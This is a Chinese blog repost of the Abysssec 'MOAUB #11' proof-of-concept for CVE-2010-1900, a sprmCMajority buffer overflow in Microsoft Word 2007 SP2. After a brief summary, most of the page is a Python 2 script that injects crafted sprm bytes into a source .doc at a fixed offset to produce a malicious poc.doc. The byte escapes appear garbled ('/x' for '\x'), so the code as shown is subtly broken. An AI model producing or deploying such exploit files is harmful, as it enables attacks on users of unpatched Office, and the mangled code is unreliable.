MOAUB #11 - Microsoft Office Word 2007 sprmCMajority Buffer Overflow

本文介绍了一个针对 Microsoft Office Word 2007 SP2 的 sprmCMajority 缓冲区溢出漏洞,该漏洞被评估为关键级别。文章提供了详细的分析链接,并附带了利用此漏洞生成 PoC 文件的 Python 代码示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

''' 
  __  __  ____         _    _ ____   
 |  //  |/ __ /   //  | |  | |  _ /  
 | /  / | |  | | /  / | |  | | |_) | 
 | |//| | |  | |/ // /| |  | |  _ <  
 | |  | | |__| / ____ / |__| | |_) | 
 |_|  |_|/____/_/    /_/____/|____/  
  
http://www.exploit-db.com/moaub11-microsoft-office-word-sprmcmajority-buffer-overflow/ 
http://www.exploit-db.com/sploits/moaub-11-exploit.zip 
'''
  
''' 
  Title               :  Microsoft Office Word sprmCMajority buffer overflow 
  Version             :  Word 2007 SP 2 
  Analysis           :  http://www.abysssec.com 
  Vendor              :  http://www.microsoft.com 
  Impact              :  Critical 
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com 
  Twitter             :  @abysssec 
  CVE                 :  CVE-2010-1900 
  
'''
  
import sys 
  
def main(): 
     
    try: 
        fdR = open('src.doc', 'rb+') 
        strTotal = fdR.read() 
        str1 = strTotal[:4082] 
        str2 = strTotal[4088:] 
          
        sprmCMajority = "/x47/xCA/xFF"    # sprmCMajority   
        sprmPAnld80 = "/x3E/xC6/xFF"    # sprmPAnld80 
                  
        fdW= open('poc.doc', 'wb+') 
        fdW.write(str1) 
        fdW.write(sprmCMajority) 
        fdW.write(sprmPAnld80)               
        fdW.write(str2) 
          
        fdW.close() 
        fdR.close() 
        print '[-] Word file generated'
    except IOError: 
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1) 
                  
if __name__ == '__main__': 
    main()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值